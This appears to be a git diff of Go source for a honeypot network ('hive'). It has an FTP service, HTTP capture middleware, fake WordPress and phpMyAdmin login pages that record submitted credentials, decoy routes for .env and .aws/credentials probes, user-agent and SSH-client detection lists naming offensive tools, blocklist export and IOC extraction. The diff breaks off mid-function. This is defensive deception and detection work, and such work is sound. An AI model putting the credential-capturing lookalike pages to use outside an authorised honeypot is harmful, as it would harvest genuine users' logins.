defer s.tracker.End(sess.ID) + + s.publishConnect(sess, srcIP, srcPort) + defer s.publishDisconnect(sess, srcIP, srcPort) + + fc := newFTPConn(conn) + defer fc.close() + + fmt.Fprintf( + fc.ctrl, "%s\r\n", s.cfg.FTP.Banner, + ) + + for { + if ctx.Err() != nil { + return + } + + cmd, arg, err := fc.readLine() + if err != nil { + return + } + + result := fc.dispatch(cmd, arg) + + s.publishCommand( + sess.ID, srcIP, cmd, arg, + ) + + if result.password != "" { + s.publishAuth( + sess.ID, srcIP, + fc.username, result.password, + ) + s.tracker.SetLogin( + sess.ID, true, fc.username, "", + ) + } + + if result.upload != nil { + s.publishUpload( + sess.ID, srcIP, + result.filename, result.upload, + ) + } + + if result.quit { + return + } + } +} + +func (s *FTPService) publishConnect( + sess *types.Session, + srcIP string, + srcPort int, +) { + s.bus.Publish(config.TopicConnect, &types.Event{ + ID: uuid.Must(uuid.NewV7()).String(), + SessionID: sess.ID, + SensorID: s.cfg.Sensor.ID, + Timestamp: time.Now().UTC(), + ServiceType: types.ServiceFTP, + EventType: types.EventConnect, + SourceIP: srcIP, + SourcePort: srcPort, + DestPort: s.cfg.FTP.Port, + Protocol: types.ProtocolTCP, + SchemaVersion: config.SchemaVersion, + }) +} + +func (s *FTPService) publishDisconnect( + sess *types.Session, + srcIP string, + srcPort int, +) { + s.bus.Publish(config.TopicDisconnect, &types.Event{ + ID: uuid.Must(uuid.NewV7()).String(), + SessionID: sess.ID, + SensorID: s.cfg.Sensor.ID, + Timestamp: time.Now().UTC(), + ServiceType: types.ServiceFTP, + EventType: types.EventDisconnect, + SourceIP: srcIP, + SourcePort: srcPort, + DestPort: s.cfg.FTP.Port, + Protocol: types.ProtocolTCP, + SchemaVersion: config.SchemaVersion, + }) +} + +func (s *FTPService) publishAuth( + sessionID string, + srcIP string, + username string, + password string, +) { + serviceData, _ := json.Marshal(map[string]string{ + "username": username, + "password": password, + "auth_method": "password", + }) + + s.bus.Publish(config.TopicAuth, &types.Event{ + ID: uuid.Must(uuid.NewV7()).String(), + SessionID: sessionID, + SensorID: s.cfg.Sensor.ID, + Timestamp: time.Now().UTC(), + ServiceType: types.ServiceFTP, + EventType: types.EventLoginSuccess, + SourceIP: srcIP, + Protocol: types.ProtocolTCP, + SchemaVersion: config.SchemaVersion, + ServiceData: serviceData, + }) +} + +func (s *FTPService) publishCommand( + sessionID string, + srcIP string, + cmd string, + arg string, +) { + serviceData, _ := json.Marshal(map[string]string{ + "command": cmd, + "arg": arg, + }) + + s.bus.Publish(config.TopicCommand, &types.Event{ + ID: uuid.Must(uuid.NewV7()).String(), + SessionID: sessionID, + SensorID: s.cfg.Sensor.ID, + Timestamp: time.Now().UTC(), + ServiceType: types.ServiceFTP, + EventType: types.EventCommand, + SourceIP: srcIP, + Protocol: types.ProtocolTCP, + SchemaVersion: config.SchemaVersion, + ServiceData: serviceData, + }) +} + +func (s *FTPService) publishUpload( + sessionID string, + srcIP string, + filename string, + data []byte, +) { + serviceData, _ := json.Marshal( + map[string]interface{}{ + "filename": filename, + "size": len(data), + }, + ) + + s.bus.Publish(config.TopicFile, &types.Event{ + ID: uuid.Must(uuid.NewV7()).String(), + SessionID: sessionID, + SensorID: s.cfg.Sensor.ID, + Timestamp: time.Now().UTC(), + ServiceType: types.ServiceFTP, + EventType: types.EventFileUpload, + SourceIP: srcIP, + Protocol: types.ProtocolTCP, + SchemaVersion: config.SchemaVersion, + Tags: []string{ + "file-upload", "mitre:T1105", + }, + ServiceData: serviceData, + }) +} diff --git a/PROJECTS/advanced/honeypot-network/internal/geo/lookup.go b/PROJECTS/advanced/honeypot-network/internal/geo/lookup.go new file mode 100644 index 00000000..f4055baa --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/internal/geo/lookup.go @@ -0,0 +1,89 @@ +/* +©AngelaMos | 2026 +lookup.go + +GeoIP resolution using MaxMind GeoLite2 database + +Resolves IP addresses to geographic location, ASN, and organization. +Returns a zero-value GeoInfo gracefully when the database file is +missing, allowing the system to operate without a MaxMind account +during local development. +*/ + +package geo + +import ( + "fmt" + "net" + + "github.com/oschwald/maxminddb-golang" + + "github.com/CarterPerez-dev/hive/pkg/types" +) + +type mmdbRecord struct { + Country struct { + ISOCode string `maxminddb:"iso_code"` + Names map[string]string `maxminddb:"names"` + } `maxminddb:"country"` + City struct { + Names map[string]string `maxminddb:"names"` + } `maxminddb:"city"` + Location struct { + Latitude float64 `maxminddb:"latitude"` + Longitude float64 `maxminddb:"longitude"` + } `maxminddb:"location"` + Traits struct { + AutonomousSystemNumber int `maxminddb:"autonomous_system_number"` + AutonomousSystemOrganization string `maxminddb:"autonomous_system_organization"` + } `maxminddb:"traits"` +} + +type Lookup struct { + reader *maxminddb.Reader +} + +func NewLookup(dbPath string) (*Lookup, error) { + reader, _ := maxminddb.Open(dbPath) + return &Lookup{reader: reader}, nil +} + +func (l *Lookup) Resolve( + ip string, +) (*types.GeoInfo, error) { + if l.reader == nil { + return &types.GeoInfo{}, nil + } + + parsed := net.ParseIP(ip) + if parsed == nil { + return nil, fmt.Errorf("invalid ip: %s", ip) + } + + if parsed.IsLoopback() || parsed.IsPrivate() { + return &types.GeoInfo{}, nil + } + + var record mmdbRecord + err := l.reader.Lookup(parsed, &record) + if err != nil { + return nil, fmt.Errorf("geoip lookup: %w", err) + } + + return &types.GeoInfo{ + CountryCode: record.Country.ISOCode, + Country: record.Country.Names["en"], + City: record.City.Names["en"], + Latitude: record.Location.Latitude, + Longitude: record.Location.Longitude, + ASN: record.Traits.AutonomousSystemNumber, + Org: record.Traits.AutonomousSystemOrganization, + }, nil +} + +func (l *Lookup) Close() error { + if l.reader != nil { + return l.reader.Close() + } + return nil +} diff --git a/PROJECTS/advanced/honeypot-network/internal/httpd/middleware.go b/PROJECTS/advanced/honeypot-network/internal/httpd/middleware.go new file mode 100644 index 00000000..8cac624f --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/internal/httpd/middleware.go @@ -0,0 +1,173 @@ +/* +©AngelaMos | 2026 +middleware.go + +Request capture middleware for the HTTP honeypot + +Wraps every incoming HTTP request to capture the full method, path, +headers, and body. Publishes request events to the event bus and +runs user-agent scanner detection. Each request gets its own +session for tracking in the event pipeline. +*/ + +package httpd + +import ( + "bytes" + "encoding/json" + "io" + "net" + "net/http" + "strconv" + "strings" + "time" + + "github.com/google/uuid" + + "github.com/CarterPerez-dev/hive/internal/config" + "github.com/CarterPerez-dev/hive/internal/event" + "github.com/CarterPerez-dev/hive/internal/ratelimit" + "github.com/CarterPerez-dev/hive/internal/session" + "github.com/CarterPerez-dev/hive/pkg/types" +) + +const maxBodyCapture = 64 * 1024 + +type statusWriter struct { + http.ResponseWriter + status int + size int +} + +func (w *statusWriter) WriteHeader(code int) { + w.status = code + w.ResponseWriter.WriteHeader(code) +} + +func (w *statusWriter) Write(b []byte) (int, error) { + n, err := w.ResponseWriter.Write(b) + w.size += n + return n, err +} + +func requestLogger( + bus *event.Bus, + tracker *session.Tracker, + limiter *ratelimit.IPLimiter, + cfg *config.Config, + next http.Handler, +) http.Handler { + return http.HandlerFunc( + func(w http.ResponseWriter, r *http.Request) { + srcIP, srcPort := parseHTTPAddr(r) + + if !limiter.Allow(srcIP) { + http.Error( + w, + "429 Too Many Requests", + http.StatusTooManyRequests, + ) + return + } + + sess := tracker.Start( + cfg.Sensor.ID, types.ServiceHTTP, + srcIP, srcPort, cfg.HTTP.Port, + ) + defer tracker.End(sess.ID) + + var body []byte + if r.Body != nil { + body, _ = io.ReadAll( + io.LimitReader(r.Body, maxBodyCapture), + ) + r.Body = io.NopCloser(bytes.NewReader(body)) + } + + w.Header().Set("Server", cfg.HTTP.ServerHeader) + + sw := &statusWriter{ + ResponseWriter: w, + status: http.StatusOK, + } + next.ServeHTTP(sw, r) + + headers := make( + map[string]string, len(r.Header), + ) + for k, v := range r.Header { + headers[k] = strings.Join(v, "; ") + } + + serviceData, _ := json.Marshal( + map[string]interface{}{ + "method": r.Method, + "path": r.URL.Path, + "query": r.URL.RawQuery, + "headers": headers, + "body": string(body), + "status": sw.status, + "user_agent": r.UserAgent(), + }, + ) + + bus.Publish(config.TopicCommand, &types.Event{ + ID: uuid.Must(uuid.NewV7()).String(), + SessionID: sess.ID, + SensorID: cfg.Sensor.ID, + Timestamp: time.Now().UTC(), + ServiceType: types.ServiceHTTP, + EventType: types.EventRequest, + SourceIP: srcIP, + SourcePort: srcPort, + DestPort: cfg.HTTP.Port, + Protocol: types.ProtocolTCP, + SchemaVersion: config.SchemaVersion, + ServiceData: serviceData, + }) + + scanner := DetectScanner(r.UserAgent()) + if scanner != "" { + scanData, _ := json.Marshal( + map[string]string{ + "scanner": scanner, + "user_agent": r.UserAgent(), + "path": r.URL.Path, + }, + ) + bus.Publish( + config.TopicScan, + &types.Event{ + ID: uuid.Must(uuid.NewV7()).String(), + SessionID: sess.ID, + SensorID: cfg.Sensor.ID, + Timestamp: time.Now().UTC(), + ServiceType: types.ServiceHTTP, + EventType: types.EventScan, + SourceIP: srcIP, + Protocol: types.ProtocolTCP, + SchemaVersion: config.SchemaVersion, + Tags: []string{ + "scanner:" + scanner, + "mitre:T1595", + }, + ServiceData: scanData, + }, + ) + } + }, + ) +} + +func parseHTTPAddr( + r *http.Request, +) (string, int) { + host, portStr, err := net.SplitHostPort( + r.RemoteAddr, + ) + if err != nil { + return r.RemoteAddr, 0 + } + port, _ := strconv.Atoi(portStr) + return host, port +} diff --git a/PROJECTS/advanced/honeypot-network/internal/httpd/phpmyadmin.go b/PROJECTS/advanced/honeypot-network/internal/httpd/phpmyadmin.go new file mode 100644 index 00000000..b4bbf60d --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/internal/httpd/phpmyadmin.go @@ -0,0 +1,77 @@ +/* +©AngelaMos | 2026 +phpmyadmin.go + +Fake phpMyAdmin login page for the HTTP honeypot + +Serves a realistic phpMyAdmin 5.2 login page that captures database +credential submissions. phpMyAdmin is one of the most commonly +probed web applications by automated scanning tools targeting +exposed database management interfaces. +*/ + +package httpd + +import ( + "fmt" + "net/http" +) + +const pmaLoginHTML = ` + + + + +phpMyAdmin + + + +
+

phpMyAdmin5.2.1

+ + +
+ +` + +const pmaErrorHTML = ` +phpMyAdmin + + +
Error: Cannot log in to the MySQL server
+` + +func handlePMA(w http.ResponseWriter, r *http.Request) { + w.Header().Set( + "Content-Type", "text/html; charset=UTF-8", + ) + w.Header().Set("X-Powered-By", "PHP/8.1.2-1ubuntu2.19") + + if r.Method == http.MethodPost { + w.WriteHeader(http.StatusForbidden) + fmt.Fprint(w, pmaErrorHTML) + return + } + + fmt.Fprint(w, pmaLoginHTML) +} diff --git a/PROJECTS/advanced/honeypot-network/internal/httpd/scanner.go b/PROJECTS/advanced/honeypot-network/internal/httpd/scanner.go new file mode 100644 index 00000000..cf376621 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/internal/httpd/scanner.go @@ -0,0 +1,62 @@ +/* +©AngelaMos | 2026 +scanner.go + +HTTP scanner detection by user-agent fingerprinting + +Matches incoming User-Agent headers against known automated scanning +tools. Returns the tool family name for tagging events when a scanner +is identified, enabling correlation of probe activity. +*/ + +package httpd + +import "strings" + +var scannerPatterns = map[string]string{ + "nuclei": "nuclei", + "sqlmap": "sqlmap", + "nmap": "nmap", + "zgrab": "zgrab", + "masscan": "masscan", + "nikto": "nikto", + "gobuster": "gobuster", + "dirbuster": "dirbuster", + "wfuzz": "wfuzz", + "ffuf": "ffuf", + "burp": "burpsuite", + "acunetix": "acunetix", + "openvas": "openvas", + "nessus": "nessus", + "w3af": "w3af", + "arachni": "arachni", + "whatweb": "whatweb", + "wpscan": "wpscan", + "joomscan": "joomscan", + "metasploit": "metasploit", + "hydra": "hydra", + "scrapy": "scrapy", + "python-requests": "python-requests", + "go-http-client": "go-http-client", + "libwww-perl": "libwww-perl", + "censys": "censys", + "shodan": "shodan", + "netcraft": "netcraft", + "curl/": "curl", + "wget/": "wget", + "httpx": "httpx", + "feroxbuster": "feroxbuster", + "dnsrecon": "dnsrecon", + "testssl": "testssl", + "sslscan": "sslscan", +} + +func DetectScanner(userAgent string) string { + lower := strings.ToLower(userAgent) + for pattern, name := range scannerPatterns { + if strings.Contains(lower, pattern) { + return name + } + } + return "" +} diff --git a/PROJECTS/advanced/honeypot-network/internal/httpd/server.go b/PROJECTS/advanced/honeypot-network/internal/httpd/server.go new file mode 100644 index 00000000..7bdbe918 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/internal/httpd/server.go @@ -0,0 +1,194 @@ +/* +©AngelaMos | 2026 +server.go + +HTTP honeypot service emulating a WordPress/phpMyAdmin web server + +Routes requests to fake WordPress login pages, phpMyAdmin panels, +and common vulnerability probe paths like .env, .git/config, and +wp-config.php. The Server header is spoofed to match Apache on +Ubuntu. All requests pass through the capture middleware before +reaching route handlers. +*/ + +package httpd + +import ( + "context" + "fmt" + "net/http" + + "github.com/rs/zerolog" + + "github.com/CarterPerez-dev/hive/internal/config" + "github.com/CarterPerez-dev/hive/internal/event" + "github.com/CarterPerez-dev/hive/internal/ratelimit" + "github.com/CarterPerez-dev/hive/internal/session" +) + +type HTTPService struct { + cfg *config.Config + bus *event.Bus + logger zerolog.Logger + tracker *session.Tracker + limiter *ratelimit.IPLimiter +} + +func New( + cfg *config.Config, + bus *event.Bus, + logger *zerolog.Logger, + tracker *session.Tracker, + limiter *ratelimit.IPLimiter, +) *HTTPService { + return &HTTPService{ + cfg: cfg, + bus: bus, + logger: logger.With().Str("service", "http").Logger(), + tracker: tracker, + limiter: limiter, + } +} + +func (s *HTTPService) Name() string { return "http" } + +func (s *HTTPService) Start(ctx context.Context) error { + mux := http.NewServeMux() + s.setupRoutes(mux) + + handler := requestLogger( + s.bus, s.tracker, s.limiter, s.cfg, mux, + ) + + addr := s.cfg.Addr(s.cfg.HTTP.Port) + srv := &http.Server{ + Addr: addr, + Handler: handler, + ReadTimeout: config.DefaultReadTimeout, + WriteTimeout: config.DefaultWriteTimeout, + } + + s.logger.Info(). + Str("addr", addr). + Msg("http honeypot listening") + + go func() { + <-ctx.Done() + _ = srv.Close() + }() + + err := srv.ListenAndServe() + if err == http.ErrServerClosed { + return nil + } + return err +} + +func (s *HTTPService) setupRoutes(mux *http.ServeMux) { + mux.HandleFunc("/wp-login.php", handleWPLogin) + mux.HandleFunc("/wp-admin/", handleWPAdmin) + mux.HandleFunc("/xmlrpc.php", handleXMLRPC) + + mux.HandleFunc("/phpmyadmin/", handlePMA) + mux.HandleFunc("/pma/", handlePMA) + mux.HandleFunc("/phpMyAdmin/", handlePMA) + + mux.HandleFunc("/.env", handleSensitiveFile) + mux.HandleFunc("/.git/config", handleGitConfig) + mux.HandleFunc( + "/.git/HEAD", handleGitHead, + ) + mux.HandleFunc( + "/config.php", handleSensitiveFile, + ) + mux.HandleFunc( + "/wp-config.php", handleSensitiveFile, + ) + mux.HandleFunc( + "/wp-config.php.bak", handleSensitiveFile, + ) + mux.HandleFunc( + "/.aws/credentials", handleSensitiveFile, + ) + mux.HandleFunc( + "/server-status", handleServerStatus, + ) + mux.HandleFunc("/robots.txt", handleRobots) + + mux.HandleFunc("/", handleDefault) +} + +func handleSensitiveFile( + w http.ResponseWriter, r *http.Request, +) { + http.Error( + w, "403 Forbidden", http.StatusForbidden, + ) +} + +func handleGitConfig( + w http.ResponseWriter, _ *http.Request, +) { + w.Header().Set("Content-Type", "text/plain") + fmt.Fprint(w, + "[core]\n"+ + "\trepositoryformatversion = 0\n"+ + "\tfilemode = true\n"+ + "\tbare = false\n"+ + "[remote \"origin\"]\n"+ + "\turl = https://github.com/example/webapp.git\n"+ + "\tfetch = +refs/heads/*:refs/remotes/origin/*\n"+ + "[branch \"main\"]\n"+ + "\tremote = origin\n"+ + "\tmerge = refs/heads/main\n", + ) +} + +func handleGitHead( + w http.ResponseWriter, _ *http.Request, +) { + w.Header().Set("Content-Type", "text/plain") + fmt.Fprint(w, "ref: refs/heads/main\n") +} + +func handleServerStatus( + w http.ResponseWriter, r *http.Request, +) { + http.Error( + w, "403 Forbidden", http.StatusForbidden, + ) +} + +const robotsTxt = "User-agent: *\n" + + "Disallow: /wp-admin/\n" + + "Allow: /wp-admin/admin-ajax.php\n\n" + + "Sitemap: /sitemap.xml\n" + +func handleRobots( + w http.ResponseWriter, _ *http.Request, +) { + w.Header().Set("Content-Type", "text/plain") + fmt.Fprint(w, robotsTxt) +} + +const defaultHTML = ` + +Welcome + +

Welcome

+

This site is currently under maintenance. Please check back later.

+ +` + +func handleDefault( + w http.ResponseWriter, r *http.Request, +) { + if r.URL.Path != "/" { + http.NotFound(w, r) + return + } + w.Header().Set( + "Content-Type", "text/html; charset=UTF-8", + ) + fmt.Fprint(w, defaultHTML) +} diff --git a/PROJECTS/advanced/honeypot-network/internal/httpd/wordpress.go b/PROJECTS/advanced/honeypot-network/internal/httpd/wordpress.go new file mode 100644 index 00000000..5394413d --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/internal/httpd/wordpress.go @@ -0,0 +1,95 @@ +/* +©AngelaMos | 2026 +wordpress.go + +Fake WordPress login and admin pages for the HTTP honeypot + +Serves a realistic WordPress 6.5 login page that captures credential +submissions, a wp-admin redirect, and an xmlrpc.php endpoint that +returns standard fault responses. These are the top three paths +targeted by automated WordPress exploitation tools. +*/ + +package httpd + +import ( + "fmt" + "net/http" +) + +const wpLoginHTML = ` + + + +Log In ‹ WordPress — WordPress + + + +
+

WordPress

+
+

+

+

+

+

+

+
+ +
+ +` + +func handleWPLogin(w http.ResponseWriter, r *http.Request) { + if r.Method == http.MethodPost { + http.Redirect( + w, r, + "/wp-admin/", + http.StatusFound, + ) + return + } + + w.Header().Set("Content-Type", "text/html; charset=UTF-8") + w.Header().Set("X-Powered-By", "PHP/8.1.2-1ubuntu2.19") + fmt.Fprint(w, wpLoginHTML) +} + +func handleWPAdmin(w http.ResponseWriter, r *http.Request) { + http.Redirect( + w, r, + "/wp-login.php?redirect_to=%2Fwp-admin%2F&reauth=1", + http.StatusFound, + ) +} + +const xmlRPCResponse = ` + + + + + + faultCode + -32601 + + + faultString + Requested method not found. + + + + +` + +func handleXMLRPC(w http.ResponseWriter, r *http.Request) { + w.Header().Set("Content-Type", "text/xml; charset=UTF-8") + fmt.Fprint(w, xmlRPCResponse) +} diff --git a/PROJECTS/advanced/honeypot-network/internal/intel/blocklist.go b/PROJECTS/advanced/honeypot-network/internal/intel/blocklist.go new file mode 100644 index 00000000..cd62a837 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/internal/intel/blocklist.go @@ -0,0 +1,156 @@ +/* +©AngelaMos | 2026 +blocklist.go + +Blocklist export in multiple firewall and proxy formats + +Generates IP blocklists from honeypot IOC data in plain text, +iptables rules, nginx deny directives, and CSV formats. Each +format is directly consumable by the target system without +additional processing. +*/ + +package intel + +import ( + "fmt" + "strings" + "time" + + "github.com/CarterPerez-dev/hive/pkg/types" +) + +const ( + FormatPlain = "plain" + FormatIPTables = "iptables" + FormatNginx = "nginx" + FormatCSV = "csv" +) + +func GenerateBlocklist( + iocs []*types.IOC, format string, +) string { + ips := FilterIPs(iocs) + if len(ips) == 0 { + return "" + } + + switch format { + case FormatIPTables: + return generateIPTables(ips) + case FormatNginx: + return generateNginx(ips) + case FormatCSV: + return generateCSV(ips) + default: + return generatePlain(ips) + } +} + +func generatePlain(iocs []*types.IOC) string { + var b strings.Builder + b.WriteString( + "# Hive Honeypot Blocklist\n", + ) + b.WriteString(fmt.Sprintf( + "# Generated: %s\n", + time.Now().UTC().Format(time.RFC3339), + )) + b.WriteString(fmt.Sprintf( + "# Entries: %d\n#\n", + len(iocs), + )) + + for _, ioc := range iocs { + b.WriteString(ioc.Value) + b.WriteByte('\n') + } + + return b.String() +} + +func generateIPTables( + iocs []*types.IOC, +) string { + var b strings.Builder + b.WriteString( + "# Hive Honeypot — iptables blocklist\n", + ) + b.WriteString(fmt.Sprintf( + "# Generated: %s\n", + time.Now().UTC().Format(time.RFC3339), + )) + b.WriteString(fmt.Sprintf( + "# Entries: %d\n\n", + len(iocs), + )) + + for _, ioc := range iocs { + b.WriteString(fmt.Sprintf( + "iptables -A INPUT -s %s -j DROP\n", + ioc.Value, + )) + } + + return b.String() +} + +func generateNginx(iocs []*types.IOC) string { + var b strings.Builder + b.WriteString( + "# Hive Honeypot — nginx blocklist\n", + ) + b.WriteString(fmt.Sprintf( + "# Generated: %s\n", + time.Now().UTC().Format(time.RFC3339), + )) + b.WriteString(fmt.Sprintf( + "# Entries: %d\n", + len(iocs), + )) + b.WriteString( + "# Include in server block: " + + "include /etc/nginx/blocklist.conf;\n\n", + ) + + for _, ioc := range iocs { + b.WriteString(fmt.Sprintf( + "deny %s;\n", ioc.Value, + )) + } + + return b.String() +} + +func generateCSV(iocs []*types.IOC) string { + var b strings.Builder + b.WriteString( + "ip,type,first_seen,last_seen," + + "sight_count,confidence,source,tags\n", + ) + + for _, ioc := range iocs { + b.WriteString(fmt.Sprintf( + "%s,%s,%s,%s,%d,%d,%s,\"%s\"\n", + ioc.Value, + ioc.Type.String(), + ioc.FirstSeen.UTC().Format(time.RFC3339), + ioc.LastSeen.UTC().Format(time.RFC3339), + ioc.SightCount, + ioc.Confidence, + ioc.Source, + strings.Join(ioc.Tags, ";"), + )) + } + + return b.String() +} + +func SupportedFormats() []string { + return []string{ + FormatPlain, + FormatIPTables, + FormatNginx, + FormatCSV, + } +} diff --git a/PROJECTS/advanced/honeypot-network/internal/intel/fingerprint.go b/PROJECTS/advanced/honeypot-network/internal/intel/fingerprint.go new file mode 100644 index 00000000..ec82ec5e --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/internal/intel/fingerprint.go @@ -0,0 +1,130 @@ +/* +©AngelaMos | 2026 +fingerprint.go + +Attacker tool family classification from protocol metadata + +Maps SSH client version strings and HTTP user-agents to known +offensive tool families. Identification enables correlation of +attack campaigns and provides actionable intelligence for incident +response teams analyzing honeypot data. +*/ + +package intel + +import "strings" + +var sshToolPatterns = []struct { + pattern string + family string +}{ + {"libssh", "libssh"}, + {"paramiko", "paramiko"}, + {"putty", "putty"}, + {"dropbear", "dropbear"}, + {"nmap", "nmap"}, + {"go", "go-ssh"}, + {"asyncssh", "asyncssh"}, + {"trilead", "trilead"}, + {"jsch", "jsch"}, + {"wolfssh", "wolfssh"}, + {"russh", "russh"}, + {"twisted", "twisted"}, + {"erlang", "erlang"}, +} + +var sshExploitPatterns = []struct { + pattern string + family string +}{ + {"hydra", "hydra"}, + {"medusa", "medusa"}, + {"ncrack", "ncrack"}, + {"metasploit", "metasploit"}, + {"cobalt", "cobalt-strike"}, + {"brutessh", "brutessh"}, +} + +func ClassifySSHClient( + clientVersion string, +) string { + lower := strings.ToLower(clientVersion) + + for _, p := range sshExploitPatterns { + if strings.Contains(lower, p.pattern) { + return p.family + } + } + + for _, p := range sshToolPatterns { + if strings.Contains(lower, p.pattern) { + return p.family + } + } + + if strings.Contains(lower, "openssh") { + return "openssh" + } + + return "" +} + +var httpToolPatterns = []struct { + pattern string + family string +}{ + {"nuclei", "nuclei"}, + {"sqlmap", "sqlmap"}, + {"nmap", "nmap"}, + {"nikto", "nikto"}, + {"gobuster", "gobuster"}, + {"dirbuster", "dirbuster"}, + {"wfuzz", "wfuzz"}, + {"ffuf", "ffuf"}, + {"burp", "burpsuite"}, + {"acunetix", "acunetix"}, + {"nessus", "nessus"}, + {"openvas", "openvas"}, + {"wpscan", "wpscan"}, + {"metasploit", "metasploit"}, + {"hydra", "hydra"}, + {"zgrab", "zgrab"}, + {"masscan", "masscan"}, + {"censys", "censys"}, + {"shodan", "shodan"}, + {"httpx", "httpx"}, + {"feroxbuster", "feroxbuster"}, + {"whatweb", "whatweb"}, +} + +func ClassifyHTTPClient( + userAgent string, +) string { + lower := strings.ToLower(userAgent) + for _, p := range httpToolPatterns { + if strings.Contains(lower, p.pattern) { + return p.family + } + } + return "" +} + +func IsKnownAttackTool(family string) bool { + exploitTools := map[string]bool{ + "hydra": true, + "medusa": true, + "ncrack": true, + "metasploit": true, + "cobalt-strike": true, + "brutessh": true, + "sqlmap": true, + "burpsuite": true, + "nikto": true, + "nuclei": true, + "wpscan": true, + "acunetix": true, + "nessus": true, + "openvas": true, + } + return exploitTools[family] +} diff --git a/PROJECTS/advanced/honeypot-network/internal/intel/fingerprint_test.go b/PROJECTS/advanced/honeypot-network/internal/intel/fingerprint_test.go new file mode 100644 index 00000000..bc6855b4 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/internal/intel/fingerprint_test.go @@ -0,0 +1,111 @@ +/* +©AngelaMos | 2026 +fingerprint_test.go +*/ + +package intel + +import ( + "testing" + + "github.com/stretchr/testify/assert" +) + +func TestClassifySSHClient(t *testing.T) { + tests := []struct { + name string + version string + want string + }{ + {"libssh", "SSH-2.0-libssh-0.9.6", "libssh"}, + {"paramiko", "SSH-2.0-paramiko_3.4.0", "paramiko"}, + {"putty", "SSH-2.0-PuTTY_Release_0.78", "putty"}, + {"dropbear", "SSH-2.0-dropbear_2022.83", "dropbear"}, + {"nmap", "SSH-2.0-Nmap-SSH2-Hostkey", "nmap"}, + {"go-ssh", "SSH-2.0-Go", "go-ssh"}, + {"asyncssh", "SSH-2.0-AsyncSSH_2.13.2", "asyncssh"}, + {"trilead", "SSH-2.0-TRILEAD", "trilead"}, + {"jsch", "SSH-2.0-JSCH-0.2.9", "jsch"}, + {"wolfssh", "SSH-2.0-wolfSSHv1.4.12", "wolfssh"}, + {"russh", "SSH-2.0-russh_0.40.2", "russh"}, + {"twisted", "SSH-2.0-Twisted_Conch", "twisted"}, + {"erlang", "SSH-2.0-Erlang/4.15", "erlang"}, + {"openssh", "SSH-2.0-OpenSSH_9.6", "openssh"}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + assert.Equal(t, tt.want, ClassifySSHClient(tt.version)) + }) + } +} + +func TestSSHExploitToolPriority(t *testing.T) { + tests := []struct { + name string + version string + want string + }{ + {"hydra", "SSH-2.0-libssh_hydra", "hydra"}, + {"medusa", "SSH-2.0-medusa_2.2", "medusa"}, + {"ncrack", "SSH-2.0-ncrack", "ncrack"}, + {"metasploit", "SSH-2.0-metasploit_framework", "metasploit"}, + {"cobalt strike", "SSH-2.0-cobalt", "cobalt-strike"}, + {"brutessh", "SSH-2.0-brutessh", "brutessh"}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + assert.Equal(t, tt.want, ClassifySSHClient(tt.version)) + }) + } +} + +func TestClassifyHTTPClient(t *testing.T) { + tests := []struct { + name string + userAgent string + want string + }{ + {"nuclei", "Nuclei/v3.1.0", "nuclei"}, + {"sqlmap", "sqlmap/1.7.11", "sqlmap"}, + {"nikto", "Nikto/2.5.0", "nikto"}, + {"gobuster", "gobuster/3.6", "gobuster"}, + {"wpscan", "WPScan v3.8.25", "wpscan"}, + {"burpsuite", "Mozilla/5.0 (BurpSuite)", "burpsuite"}, + {"nmap", "Mozilla/5.0 Nmap Scripting Engine", "nmap"}, + {"ffuf", "Fuzz Faster U Fool v2.1.0 - ffuf", "ffuf"}, + {"shodan", "Shodan.io", "shodan"}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + assert.Equal(t, tt.want, ClassifyHTTPClient(tt.userAgent)) + }) + } +} + +func TestIsKnownAttackTool(t *testing.T) { + assert.True(t, IsKnownAttackTool("hydra")) + assert.True(t, IsKnownAttackTool("metasploit")) + assert.True(t, IsKnownAttackTool("sqlmap")) + assert.True(t, IsKnownAttackTool("nuclei")) + assert.False(t, IsKnownAttackTool("openssh")) + assert.False(t, IsKnownAttackTool("")) +} + +func TestClassifyCaseInsensitive(t *testing.T) { + assert.Equal(t, + "paramiko", + ClassifySSHClient("SSH-2.0-PARAMIKO_3.0"), + ) + assert.Equal(t, + "nuclei", + ClassifyHTTPClient("NUCLEI/v3.0"), + ) +} + +func TestUnknownClientReturnsEmpty(t *testing.T) { + assert.Empty(t, ClassifySSHClient("SSH-2.0-UnknownClient")) + assert.Empty(t, ClassifyHTTPClient("Mozilla/5.0 Chrome/120.0")) +} diff --git a/PROJECTS/advanced/honeypot-network/internal/intel/ioc.go b/PROJECTS/advanced/honeypot-network/internal/intel/ioc.go new file mode 100644 index 00000000..61afee77 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/internal/intel/ioc.go @@ -0,0 +1,304 @@ +/* +©AngelaMos | 2026 +ioc.go + +Indicator of Compromise extraction from honeypot events + +Parses event service data to extract actionable IOCs: IP addresses, +URLs from download commands, domains from HTTP requests, and +credential pairs. Each IOC is tagged with its source context and +assigned a confidence score based on the extraction method. +*/ + +package intel + +import ( + "encoding/json" + "net" + "regexp" + "strings" + "time" + + "github.com/CarterPerez-dev/hive/pkg/types" +) + +var urlPattern = regexp.MustCompile( + `https?://[^\s'"` + "`" + `<>]+`, +) + +var domainPattern = regexp.MustCompile( + `https?://([^/:]+)`, +) + +type Extractor struct{} + +func NewExtractor() *Extractor { + return &Extractor{} +} + +func (e *Extractor) Extract( + ev *types.Event, +) []*types.IOC { + var iocs []*types.IOC + + iocs = append(iocs, e.extractSourceIP(ev)...) + iocs = append(iocs, e.extractFromData(ev)...) + + return iocs +} + +func (e *Extractor) extractSourceIP( + ev *types.Event, +) []*types.IOC { + if ev.SourceIP == "" { + return nil + } + + ip := net.ParseIP(ev.SourceIP) + if ip == nil { + return nil + } + + if ip.IsLoopback() || ip.IsPrivate() { + return nil + } + + iocType := types.IOCIPv4 + if ip.To4() == nil { + iocType = types.IOCIPv6 + } + + return []*types.IOC{{ + Type: iocType, + Value: ev.SourceIP, + FirstSeen: ev.Timestamp, + LastSeen: ev.Timestamp, + SightCount: 1, + 